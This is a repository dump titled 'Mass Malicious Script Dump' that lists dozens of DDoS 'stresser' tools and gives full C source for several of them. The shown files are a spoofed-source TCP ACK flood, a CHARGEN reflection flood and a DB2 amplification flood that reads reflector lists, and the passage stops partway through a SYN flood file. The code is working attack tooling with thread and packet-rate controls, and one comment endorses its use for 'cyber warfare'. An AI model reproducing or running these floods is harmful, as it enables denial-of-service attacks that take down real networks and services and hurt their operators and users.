├── LICENSE
├── README.md
└── Stresser
    ├── ACK
        └── ack_attack.c
    ├── ARME
        └── arme_attack.c
    ├── CHARGEN
        ├── chargen.txt
        └── chargen_attack.c
    ├── DB2AMP
        ├── DB
        ├── db2_amp_attack.c
        └── db2_amp_scanner.c
    ├── DNS
        ├── DNSAMP
        └── dns_amp_scanner.c
    ├── DOMINATE
        └── dominate_attack.c
    ├── DRDOS
        └── drdos_attack.pl
    ├── ESSYN-ACK
        └── essyn_with_ack_attack.c
    ├── ESSYN
        └── essyn_attack.c
    ├── GHP
        └── get-head-post_attack.c
    ├── Heartbleed
        ├── heartbleed.c
        └── heartbleed_scanner.c
    ├── Improved SSYN
        └── improved_ssyn_attack.c
    ├── MDNS
        ├── mdns_amp_scanner.c
        └── mdns_attack.c
    ├── NETBIOS
        ├── netbios_amp_attack.c
        └── netbios_amp_scanner.c
    ├── NTP
        ├── ntp
        ├── ntp.txt
        ├── ntpList.txt
        ├── ntp_amp_scanner.pl
        └── ntp_attack.pl
    ├── OVH
        ├── OVH_
        ├── ovh
        └── ovhfilter.php
    ├── QUAKE 3
        └── quake_3_amp_attack.c
    ├── RUDY
        └── rudy_attack.c
    ├── SACK
        └── sack_attack.c
    ├── SENTINEL
        ├── sentinel_amp_attack.c
        └── sentinel_amp_scanner.c
    ├── SLOWLORIS
        └── slow
    ├── SNMP
        ├── snmp.txt
        ├── snmp_attack.c
        └── snmpscanner
    ├── SSDP
        ├── ssdp
        ├── ssdplist.txt
        └── ssdpscanner.c
    ├── SSYN With FIN
        └── ssyn_with_fin_attack.c
    ├── STCP
        └── stcp_attack.c
    ├── STD
        └── std.c
    ├── SUDP
        └── sudp_attack.c
    ├── SYN
        ├── SSYN
        ├── syn_attack.c
        └── synflooder.pl
    ├── Spoofed TELNET
        └── spoofed_telnet.c
    ├── TCP
        └── TCP
    ├── TRIGIMINI
        └── trigemini_attack.c
    ├── TS3
        ├── teamspeak_3_amp_attack.c
        └── teamspeak_3_amp_scanner.c
    ├── UDP
        ├── udp.txt
        ├── udp_attack.c
        └── udpflood.pl
    ├── VSE
        ├── VSE
        └── vse_attack.c
    ├── WIZARD
        └── wizard
    ├── XACK
        └── xack_attack.c
    ├── XMLRPC
        ├── xmlrpc.txt
        ├── xmlrpc_(perl_version).pl
        └── xmlrpc_attack.php
    ├── XSYN
        └── xsyn_attack.c
    ├── ZAP
        └── zap_attack.c
    └── ddos_api.php


/README.md:
--------------------------------------------------------------------------------
 1 | # Mass Malicious Script Dump
 2 | #### All responsibilities are at your own risk.
 3 | #### Please use it only for research purposes.
 4 | ## Stresser
 5 |   - ACK
 6 |   - ARME
 7 |   - CHARGEN
 8 |   - DB2AMP
 9 |   - DNS
10 |   - OMINATE
11 |   - DRDOS
12 |   - ESSYN
13 |   - ESSYN-ACK
14 |   - GHP
15 |   - Heartbleed
16 |   - Improved SSYN
17 |   - MDNS
18 |   - NETBIOS
19 |   - NTP
20 |   - OVH
21 |   - QUAKE 3
22 |   - RUDY
23 |   - SACK
24 |   - SENTINEL
25 |   - SLOWLORIS
26 |   - SNMP
27 |   - Spoofed TELNET
28 |   - SSDP
29 |   - SSYN With FIN
30 |   - STCP
31 |   - STD
32 |   - SUDP
33 |   - SYN
34 |   - TCP
35 |   - TRIGIMINI
36 |   - TS3
37 |   - UDP
38 |   - VSE
39 |   - WIZARD
40 |   - XACK
41 |   - XMLRPC
42 |   - XSYN
43 |   - ZAP
44 | 
45 | ## BotNet
46 | - None
47 | ## RCS Software
48 | - None
49 | 


--------------------------------------------------------------------------------
/Stresser/ACK/ack_attack.c:
--------------------------------------------------------------------------------
  1 | /*
  2 | 	This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
  3 | */
  4 | #include <unistd.h>
  5 | #include <time.h>
  6 | #include <sys/types.h>
  7 | #include <sys/socket.h>
  8 | #include <sys/ioctl.h>
  9 | #include <string.h>
 10 | #include <stdlib.h>
 11 | #include <stdio.h>
 12 | #include <pthread.h>
 13 | #include <netinet/tcp.h>
 14 | #include <netinet/ip.h>
 15 | #include <netinet/in.h>
 16 | #include <netinet/if_ether.h>
 17 | #include <netdb.h>
 18 | #include <net/if.h>
 19 | #include <arpa/inet.h>
 20 | #define MAX_PACKET_SIZE 4096
 21 | #define PHI 0x9e3779b9
 22 | static unsigned long int Q[4096], c = 362436;
 23 | volatile int limiter;
 24 | volatile unsigned int pps;
 25 | volatile unsigned int sleeptime = 100;
 26 | void init_rand(unsigned long int x)
 27 | {
 28 | 	int i;
 29 | 	Q[0] = x;
 30 | 	Q[1] = x + PHI;
 31 | 	Q[2] = x + PHI + PHI;
 32 | 	for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 33 | }
 34 | unsigned long int rand_cmwc(void)
 35 | {
 36 | 	unsigned long long int t, a = 18782LL;
 37 | 	static unsigned long int i = 4095;
 38 | 	unsigned long int x, r = 0xfffffffe;
 39 | 	i = (i + 1) & 4095;
 40 | 	t = a * Q[i] + c;
 41 | 	c = (t >> 32);
 42 | 	x = t + c;
 43 | 	if (x < c) {
 44 | 	x++;
 45 | 	c++;
 46 | 	}
 47 | 	return (Q[i] = r - x);
 48 | }
 49 | unsigned short csum (unsigned short *buf, int count)
 50 | {
 51 | 	register unsigned long sum = 0;
 52 | 	while( count > 1 ) { sum += *buf++; count -= 2; }
 53 | 	if(count > 0) { sum += *(unsigned char *)buf; }
 54 | 	while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 55 | 	return (unsigned short)(~sum);
 56 | }
 57 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
 58 | 	struct tcp_pseudo
 59 | 	{
 60 | 	unsigned long src_addr;
 61 | 	unsigned long dst_addr;
 62 | 	unsigned char zero;
 63 | 	unsigned char proto;
 64 | 	unsigned short length;
 65 | 	} pseudohead;
 66 | 	unsigned short total_len = iph->tot_len;
 67 | 	pseudohead.src_addr=iph->saddr;
 68 | 	pseudohead.dst_addr=iph->daddr;
 69 | 	pseudohead.zero=0;
 70 | 	pseudohead.proto=IPPROTO_TCP;
 71 | 	pseudohead.length=htons(sizeof(struct tcphdr));
 72 | 	int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
 73 | 	unsigned short *tcp = malloc(totaltcp_len);
 74 | 	memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 75 | 	memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 76 | 	unsigned short output = csum(tcp,totaltcp_len);
 77 | 	free(tcp);
 78 | 	return output;
 79 | }
 80 | void setup_ip_header(struct iphdr *iph)
 81 | {
 82 | 	iph->ihl = 5;
 83 | 	iph->version = 4;
 84 | 	iph->tos = 0;
 85 | 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 86 | 	iph->id = htonl(54321);
 87 | 	iph->frag_off = 0;
 88 | 	iph->ttl = MAXTTL;
 89 | 	iph->protocol = 6;
 90 | 	iph->check = 0;
 91 | 	iph->saddr = inet_addr("192.168.3.100");
 92 | }
 93 | void setup_tcp_header(struct tcphdr *tcph)
 94 | {
 95 | 	tcph->source = htons(5678);
 96 | 	tcph->seq = rand();
 97 | 	tcph->ack_seq = 1;
 98 | 	tcph->res2 = 0;
 99 | 	tcph->doff = 5;
100 | 	tcph->ack = 1;
101 | 	tcph->window = htons(65535);
102 | 	tcph->check = 0;
103 | 	tcph->urg_ptr = 0;
104 | }
105 | void *flood(void *par1)
106 | {
107 | 	char *td = (char *)par1;
108 | 	char datagram[MAX_PACKET_SIZE];
109 | 	struct iphdr *iph = (struct iphdr *)datagram;
110 | 	struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
111 | 	struct sockaddr_in sin;
112 | 	sin.sin_family = AF_INET;
113 | 	sin.sin_port = htons (rand() % 20480);
114 | 	sin.sin_addr.s_addr = inet_addr(td);
115 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
116 | 	if(s < 0){
117 | 	fprintf(stderr, ":: cant open raw socket. got root?\n");
118 | 	exit(-1);
119 | 	}
120 | 	memset(datagram, 0, MAX_PACKET_SIZE);
121 | 	setup_ip_header(iph);
122 | 	setup_tcp_header(tcph);
123 | 	tcph->dest = htons (rand() % 20480);
124 | 	iph->daddr = sin.sin_addr.s_addr;
125 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
126 | 	int tmp = 1;
127 | 	const int *val = &tmp;
128 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
129 | 	fprintf(stderr, ":: motherfucking error.\n");
130 | 	exit(-1);
131 | 	}
132 | 	init_rand(time(NULL));
133 | 	register unsigned int i;
134 | 	i = 0;
135 | 	while(1){
136 | 	sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
137 | 	iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
138 | 	iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
139 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
140 | 	tcph->seq = rand_cmwc() & 0xFFFF;
141 | 	tcph->source = htons(rand_cmwc() & 0xFFFF);
142 | 	tcph->check = 0;
143 | 	tcph->check = tcpcsum(iph, tcph);
144 | 	pps++;
145 | 	if(i >= limiter)
146 | 	{
147 | 	i = 0;
148 | 	usleep(sleeptime);
149 | 	}
150 | 	i++;
151 | 	}
152 | }
153 | int main(int argc, char *argv[ ])
154 | {
155 | 	if(argc < 5){
156 | 	fprintf(stderr, "Invalid parameters!\n");
157 | 	fprintf(stdout, "Usage: %s <IP> <threads> <throttle, -1 for no throttle> <time>\n", argv[0]);
158 | 	exit(-1);
159 | 	}
160 | 	int num_threads = atoi(argv[2]);
161 | 	int maxpps = atoi(argv[3]);
162 | 	limiter = 0;
163 | 	pps = 0;
164 | 	pthread_t thread[num_threads];
165 | 	int multiplier = 20;
166 | 	int i;
167 | 	for(i = 0;i<num_threads;i++){
168 | 	pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
169 | 	}
170 | 	fprintf(stdout, ":: sending all the packets..\n");
171 | 	for(i = 0;i<(atoi(argv[4])*multiplier);i++)
172 | 	{
173 | 	usleep((1000/multiplier)*1000);
174 | 	if((pps*multiplier) > maxpps)
175 | 	{
176 | 	if(1 > limiter)
177 | 	{
178 | 	sleeptime+=100;
179 | 	} else {
180 | 	limiter--;
181 | 	}
182 | 	} else {
183 | 	limiter++;
184 | 	if(sleeptime > 25)
185 | 	{
186 | 	sleeptime-=25;
187 | 	} else {
188 | 	sleeptime = 0;
189 | 	}
190 | 	}
191 | 	pps = 0;
192 | 	}
193 | 	return 0;
194 | }


--------------------------------------------------------------------------------
/Stresser/CHARGEN/chargen_attack.c:
--------------------------------------------------------------------------------
  1 | #include <time.h>
  2 | #include <pthread.h>
  3 | #include <unistd.h>
  4 | #include <stdio.h>
  5 | #include <stdlib.h>
  6 | #include <string.h>
  7 | #include <sys/socket.h>
  8 | #include <netinet/ip.h>
  9 | #include <netinet/udp.h>
 10 | #include <arpa/inet.h>
 11 | #define MAX_PACKET_SIZE 8192
 12 | #define PHI 0x9e3779b9
 13 | static uint32_t Q[4096], c = 362436;
 14 | struct list
 15 | {
 16 |         struct sockaddr_in data;
 17 |         struct list *next;
 18 |         struct list *prev;
 19 | };
 20 | struct list *head;
 21 | struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
 22 | void init_rand(uint32_t x)
 23 | {
 24 |         int i;
 25 |         Q[0] = x;
 26 |         Q[1] = x + PHI;
 27 |         Q[2] = x + PHI + PHI;
 28 |         for (i = 3; i < 4096; i++)
 29 |         {
 30 |                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 31 |         }
 32 | }
 33 | 
 34 | uint32_t rand_cmwc(void)
 35 | {
 36 |         uint64_t t, a = 18782LL;
 37 |         static uint32_t i = 4095;
 38 |         uint32_t x, r = 0xfffffffe;
 39 |         i = (i + 1) & 4095;
 40 |         t = a * Q[i] + c;
 41 |         c = (t >> 32);
 42 |         x = t + c;
 43 |         if (x < c) {
 44 |                 x++;
 45 |                 c++;
 46 |         }
 47 |         return (Q[i] = r - x);
 48 | }
 49 | 
 50 | /* function for header checksums */
 51 | unsigned short csum (unsigned short *buf, int nwords)
 52 | {
 53 |         unsigned long sum;
 54 |         for (sum = 0; nwords > 0; nwords--)
 55 |         sum += *buf++;
 56 |         sum = (sum >> 16) + (sum & 0xffff);
 57 |         sum += (sum >> 16);
 58 |         return (unsigned short)(~sum);
 59 | }
 60 | 
 61 | void setup_ip_header(struct iphdr *iph)
 62 | {
 63 |         iph->ihl = 5;
 64 |         iph->version = 4;
 65 |         iph->tos = 0;
 66 |         iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 4;
 67 |         iph->id = htonl(54321);
 68 |         iph->frag_off = 0;
 69 |         iph->ttl = MAXTTL;
 70 |         iph->protocol = IPPROTO_UDP;
 71 |         iph->check = 0;
 72 |         iph->saddr = inet_addr("192.168.3.100");
 73 | }
 74 | 
 75 | void setup_udp_header(struct udphdr *udph)
 76 | {
 77 |         udph->source = htons(5678);
 78 |         udph->dest = htons(19);
 79 |         udph->check = 0;
 80 |         strcpy((void *)udph + sizeof(struct udphdr), "h");
 81 |         udph->len=htons(sizeof(struct udphdr) + 3);
 82 | }
 83 | 
 84 | void *flood(void *par1)
 85 | {
 86 |         struct thread_data *td = (struct thread_data *)par1;
 87 |         char datagram[MAX_PACKET_SIZE];
 88 |         struct iphdr *iph = (struct iphdr *)datagram;
 89 |         struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
 90 |         struct sockaddr_in sin = td->sin;
 91 |         struct  list *list_node = td->list_node;
 92 |         int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
 93 |         if(s < 0){
 94 |                 fprintf(stderr, "Could not open raw socket.\n");
 95 |                 exit(-1);
 96 |         }
 97 |         init_rand(time(NULL));
 98 |         memset(datagram, 0, MAX_PACKET_SIZE);
 99 |         setup_ip_header(iph);
100 |         setup_udp_header(udph);
101 |         udph->source = sin.sin_port;
102 |         iph->saddr = sin.sin_addr.s_addr;
103 |         iph->daddr = list_node->data.sin_addr.s_addr;
104 |         iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
105 |         int tmp = 1;
106 |         const int *val = &tmp;
107 |         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
108 |                 fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
109 |                 exit(-1);
110 |         }
111 |         int i=0;
112 |         while(1){
113 |                 sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
114 |                 list_node = list_node->next;
115 |                 iph->daddr = list_node->data.sin_addr.s_addr;
116 |                 iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
117 |                 if(i==5)
118 |                 {
119 |                         usleep(0);
120 |                         i=0;
121 |                 }
122 |                 i++;
123 |         }
124 | }
125 | int main(int argc, char *argv[ ])
126 | {
127 |         if(argc < 4){
128 |                 fprintf(stderr, "Invalid parameters!\n");
129 |                 fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <throttle> <time (optional)>\n", argv[0]);
130 |                 exit(-1);
131 |         }
132 |         int i = 0;
133 |         head = NULL;
134 |         fprintf(stdout, "Setting up Sockets...\n");
135 |         int max_len = 128;
136 |         char *buffer = (char *) malloc(max_len);
137 |         buffer = memset(buffer, 0x00, max_len);
138 |         int num_threads = atoi(argv[4]);
139 |         FILE *list_fd = fopen(argv[3],  "r");
140 |         while (fgets(buffer, max_len, list_fd) != NULL) {
141 |                 if ((buffer[strlen(buffer) - 1] == '\n') ||
142 |                                 (buffer[strlen(buffer) - 1] == '\r')) {
143 |                         buffer[strlen(buffer) - 1] = 0x00;
144 |                         if(head == NULL)
145 |                         {
146 |                                 head = (struct list *)malloc(sizeof(struct list));
147 |                                 bzero(&head->data, sizeof(head->data));
148 |                                 head->data.sin_addr.s_addr=inet_addr(buffer);
149 |                                 head->next = head;
150 |                                 head->prev = head;
151 |                         } else {
152 |                                 struct list *new_node = (struct list *)malloc(sizeof(struct list));
153 |                                 memset(new_node, 0x00, sizeof(struct list));
154 |                                 new_node->data.sin_addr.s_addr=inet_addr(buffer);
155 |                                 new_node->prev = head;
156 |                                 new_node->next = head->next;
157 |                                 head->next = new_node;
158 |                         }
159 |                         i++;
160 |                 } else {
161 |                         continue;
162 |                 }
163 |         }
164 |         struct list *current = head->next;
165 |         pthread_t thread[num_threads];
166 |         struct sockaddr_in sin;
167 |         sin.sin_family = AF_INET;
168 |         sin.sin_port = htons(atoi(argv[2]));
169 |         sin.sin_addr.s_addr = inet_addr(argv[1]);
170 |         struct thread_data td[num_threads];
171 |         for(i = 0;i<num_threads;i++){
172 |                 td[i].thread_id = i;
173 |                 td[i].sin= sin;
174 |                 td[i].list_node = current;
175 |                 pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
176 |         }
177 |         fprintf(stdout, "Starting Flood...\n");
178 |         if(argc > 5)
179 |         {
180 |                 sleep(atoi(argv[5]));
181 |         } else {
182 |                 while(1){
183 |                         sleep(1);
184 |                 }
185 |         }
186 |         return 0;
187 | }


--------------------------------------------------------------------------------
/Stresser/DB2AMP/DB:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/Mass-Malicious-Script-Dump/824f48a25b7f12195a2afaf410d5f936837192c0/Stresser/DB2AMP/DB


--------------------------------------------------------------------------------
/Stresser/DB2AMP/db2_amp_attack.c:
--------------------------------------------------------------------------------
  1 | /* DB2 Amplification */
  2 | 
  3 | #include <time.h>
  4 | #include <pthread.h>
  5 | #include <unistd.h>
  6 | #include <stdio.h>
  7 | #include <stdlib.h>
  8 | #include <string.h>
  9 | #include <sys/socket.h>
 10 | #include <netinet/ip.h>
 11 | #include <netinet/udp.h>
 12 | #include <arpa/inet.h>
 13 | #define MAX_PACKET_SIZE 8192
 14 | #define PHI 0x9e3779b9
 15 | static uint32_t Q[4096], c = 362436;
 16 | struct list
 17 | {
 18 | 	struct sockaddr_in data;
 19 | 	struct list *next;
 20 | 	struct list *prev;
 21 | };
 22 | struct list *head;
 23 | volatile int tehport;
 24 | volatile int limiter;
 25 | volatile unsigned int pps;
 26 | volatile unsigned int sleeptime = 100;
 27 | struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
 28 | void init_rand(uint32_t x)
 29 | {
 30 | 	int i;
 31 | 	Q[0] = x;
 32 | 	Q[1] = x + PHI;
 33 | 	Q[2] = x + PHI + PHI;
 34 | 	for (i = 3; i < 4096; i++)
 35 | 	{
 36 | 	Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 37 | 	}
 38 | }
 39 | uint32_t rand_cmwc(void)
 40 | {
 41 | 	uint64_t t, a = 18782LL;
 42 | 	static uint32_t i = 4095;
 43 | 	uint32_t x, r = 0xfffffffe;
 44 | 	i = (i + 1) & 4095;
 45 | 	t = a * Q[i] + c;
 46 | 	c = (t >> 32);
 47 | 	x = t + c;
 48 | 	if (x < c) {
 49 | 	x++;
 50 | 	c++;
 51 | 	}
 52 | 	return (Q[i] = r - x);
 53 | }
 54 | unsigned short csum (unsigned short *buf, int nwords)
 55 | {
 56 | 	unsigned long sum = 0;
 57 | 	for (sum = 0; nwords > 0; nwords--)
 58 | 	sum += *buf++;
 59 | 	sum = (sum >> 16) + (sum & 0xffff);
 60 | 	sum += (sum >> 16);
 61 | 	return (unsigned short)(~sum);
 62 | }
 63 | void setup_ip_header(struct iphdr *iph)
 64 | {
 65 | 	iph->ihl = 5;
 66 | 	iph->version = 4;
 67 | 	iph->tos = 0;
 68 | 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 20;
 69 | 	iph->id = htonl(54321);
 70 | 	iph->frag_off = 0;
 71 | 	iph->ttl = MAXTTL;
 72 | 	iph->protocol = IPPROTO_UDP;
 73 | 	iph->check = 0;
 74 | 	iph->saddr = inet_addr("192.168.3.100");
 75 | }
 76 | void setup_udp_header(struct udphdr *udph)
 77 | {
 78 | 	udph->source = htons(5678);
 79 | 	udph->dest = htons(523);
 80 | 	udph->check = 0;
 81 | strcpy((void *)udph + sizeof(struct udphdr), "\x44\x42\x32\x47\x45\x54\x41\x44\x44\x52\x00\x53\x51\x4c\x30\x35\x30\x30\x30\x00");
 82 | 	udph->len=htons(sizeof(struct udphdr) + 20);
 83 | }
 84 | void *flood(void *par1)
 85 | {
 86 | 	struct thread_data *td = (struct thread_data *)par1;
 87 | 	char datagram[MAX_PACKET_SIZE];
 88 | 	struct iphdr *iph = (struct iphdr *)datagram;
 89 | 	struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
 90 | 	struct sockaddr_in sin = td->sin;
 91 | 	struct  list *list_node = td->list_node;
 92 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
 93 | 	if(s < 0){
 94 | 	fprintf(stderr, "Could not open raw socket.\n");
 95 | 	exit(-1);
 96 | 	}
 97 | 	init_rand(time(NULL));
 98 | 	memset(datagram, 0, MAX_PACKET_SIZE);
 99 | 	setup_ip_header(iph);
100 | 	setup_udp_header(udph);
101 | 	udph->source = htons(rand() % 65535 - 1026);
102 | 	iph->saddr = sin.sin_addr.s_addr;
103 | 	iph->daddr = list_node->data.sin_addr.s_addr;
104 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
105 | 	int tmp = 1;
106 | 	const int *val = &tmp;
107 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
108 | 	fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
109 | 	exit(-1);
110 | 	}
111 | 	init_rand(time(NULL));
112 | 	register unsigned int i;
113 | 	i = 0;
114 | 	while(1){
115 | 		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
116 | 		list_node = list_node->next;
117 | 		iph->daddr = list_node->data.sin_addr.s_addr;
118 | 		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
119 | 		iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
120 | 		
121 | 		pps++;
122 | 		if(i >= limiter)
123 | 		{
124 | 			i = 0;
125 | 			usleep(sleeptime);
126 | 		}
127 | 		i++;
128 | 	}
129 | }
130 | int main(int argc, char *argv[ ])
131 | {
132 | 	if(argc < 6){
133 | 	fprintf(stderr, "Invalid parameters!\n");
134 | 	fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
135 | 		exit(-1);
136 | 	}
137 | 	srand(time(NULL));
138 | 	int i = 0;
139 | 	head = NULL;
140 | 	fprintf(stdout, "Setting up sockets...\n");
141 | 	int max_len = 128;
142 | 	char *buffer = (char *) malloc(max_len);
143 | 	buffer = memset(buffer, 0x00, max_len);
144 | 	int num_threads = atoi(argv[4]);
145 | 	int maxpps = atoi(argv[5]);
146 | 	limiter = 0;
147 | 	pps = 0;
148 | 	int multiplier = 20;
149 | 	FILE *list_fd = fopen(argv[3],  "r");
150 | 	while (fgets(buffer, max_len, list_fd) != NULL) {
151 | 		if ((buffer[strlen(buffer) - 1] == '\n') ||
152 | 				(buffer[strlen(buffer) - 1] == '\r')) {
153 | 			buffer[strlen(buffer) - 1] = 0x00;
154 | 			if(head == NULL)
155 | 			{
156 | 				head = (struct list *)malloc(sizeof(struct list));
157 | 				bzero(&head->data, sizeof(head->data));
158 | 				head->data.sin_addr.s_addr=inet_addr(buffer);
159 | 				head->next = head;
160 | 				head->prev = head;
161 | 			} else {
162 | 				struct list *new_node = (struct list *)malloc(sizeof(struct list));
163 | 				memset(new_node, 0x00, sizeof(struct list));
164 | 				new_node->data.sin_addr.s_addr=inet_addr(buffer);
165 | 				new_node->prev = head;
166 | 				new_node->next = head->next;
167 | 				head->next = new_node;
168 | 			}
169 | 			i++;
170 | 		} else {
171 | 			continue;
172 | 		}
173 | 	}
174 | 	struct list *current = head->next;
175 | 	pthread_t thread[num_threads];
176 | 	struct sockaddr_in sin;
177 | 	sin.sin_family = AF_INET;
178 | 	sin.sin_addr.s_addr = inet_addr(argv[1]);
179 | 	struct thread_data td[num_threads];
180 | 	for(i = 0;i<num_threads;i++){
181 | 		td[i].thread_id = i;
182 | 		td[i].sin= sin;
183 | 		td[i].list_node = current;
184 | 		pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
185 | 	}
186 | 	fprintf(stdout, "Starting flood...\n");
187 | 	for(i = 0;i<(atoi(argv[6])*multiplier);i++)
188 | 	{
189 | 		usleep((1000/multiplier)*1000);
190 | 		if((pps*multiplier) > maxpps)
191 | 		{
192 | 			if(1 > limiter)
193 | 			{
194 | 				sleeptime+=100;
195 | 			} else {
196 | 				limiter--;
197 | 			}
198 | 		} else {
199 | 			limiter++;
200 | 			if(sleeptime > 25)
201 | 			{
202 | 				sleeptime-=25;
203 | 			} else {
204 | 				sleeptime = 0;
205 | 			}
206 | 		}
207 | 		pps = 0;
208 | 	}
209 | 	return 0;
210 | }


--------------------------------------------------------------------------------
/Stresser/DNS/DNSAMP:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/Mass-Malicious-Script-Dump/824f48a25b7f12195a2afaf410d5f936837192c0/Stresser/DNS/DNSAMP


--------------------------------------------------------------------------------
/Stresser/DOMINATE/dominate_attack.c:
--------------------------------------------------------------------------------
  1 | /*
  2 | 	This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
  3 | */
  4 | #include <unistd.h>
  5 | #include <time.h>
  6 | #include <sys/types.h>
  7 | #include <sys/socket.h>
  8 | #include <sys/ioctl.h>
  9 | #include <string.h>
 10 | #include <stdlib.h>
 11 | #include <stdio.h>
 12 | #include <pthread.h>
 13 | #include <netinet/tcp.h>
 14 | #include <netinet/ip.h>
 15 | #include <netinet/in.h>
 16 | #include <netinet/if_ether.h>
 17 | #include <netdb.h>
 18 | #include <net/if.h>
 19 | #include <arpa/inet.h>
 20 | #define MAX_PACKET_SIZE 4096
 21 | #define PHI 0x9e3779b9
 22 | static unsigned long int Q[4096], c = 362436;
 23 | static unsigned int floodport;
 24 | volatile int limiter;
 25 | volatile unsigned int pps;
 26 | volatile unsigned int sleeptime = 100;
 27 | void init_rand(unsigned long int x)
 28 | {
 29 | 	int i;
 30 | 	Q[0] = x;
 31 | 	Q[1] = x + PHI;
 32 | 	Q[2] = x + PHI + PHI;
 33 | 	for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 34 | }
 35 | unsigned long int rand_cmwc(void)
 36 | {
 37 | 	unsigned long long int t, a = 18782LL;
 38 | 	static unsigned long int i = 4095;
 39 | 	unsigned long int x, r = 0xfffffffe;
 40 | 	i = (i + 1) & 4095;
 41 | 	t = a * Q[i] + c;
 42 | 	c = (t >> 32);
 43 | 	x = t + c;
 44 | 	if (x < c) {
 45 | 	x++;
 46 | 	c++;
 47 | 	}
 48 | 	return (Q[i] = r - x);
 49 | }
 50 | unsigned short csum (unsigned short *buf, int count)
 51 | {
 52 | 	register unsigned long sum = 0;
 53 | 	while( count > 1 ) { sum += *buf++; count -= 2; }
 54 | 	if(count > 0) { sum += *(unsigned char *)buf; }
 55 | 	while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 56 | 	return (unsigned short)(~sum);
 57 | }
 58 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
 59 | 
 60 | 	struct tcp_pseudo
 61 | 	{
 62 | 	unsigned long src_addr;
 63 | 	unsigned long dst_addr;
 64 | 	unsigned char zero;
 65 | 	unsigned char proto;
 66 | 	unsigned short length;
 67 | 	} pseudohead;
 68 | 	unsigned short total_len = iph->tot_len;
 69 | 	pseudohead.src_addr=iph->saddr;
 70 | 	pseudohead.dst_addr=iph->daddr;
 71 | 	pseudohead.zero=0;
 72 | 	pseudohead.proto=IPPROTO_TCP;
 73 | 	pseudohead.length=htons(sizeof(struct tcphdr));
 74 | 	int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
 75 | 	unsigned short *tcp = malloc(totaltcp_len);
 76 | 	memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 77 | 	memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 78 | 	unsigned short output = csum(tcp,totaltcp_len);
 79 | 	free(tcp);
 80 | 	return output;
 81 | }
 82 | void setup_ip_header(struct iphdr *iph)
 83 | {
 84 | 	iph->ihl = 5;
 85 | 	iph->version = 4;
 86 | 	iph->tos = 0;
 87 | 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 88 | 	iph->id = htonl(54321);
 89 | 	iph->frag_off = 0;
 90 | 	iph->ttl = MAXTTL;
 91 | 	iph->protocol = 6;
 92 | 	iph->check = 0;
 93 | 	iph->saddr = inet_addr("192.168.3.100");
 94 | }
 95 | void setup_tcp_header(struct tcphdr *tcph)
 96 | {
 97 | 	tcph->source = htons(5678);
 98 | 	tcph->seq = rand();
 99 | 	tcph->ack_seq = 1;
100 | 	tcph->res2 = 3;
101 | 	tcph->doff = 5;
102 | 	tcph->syn = 1;
103 | 	tcph->window = htons(65535);
104 | 	tcph->check = 1;
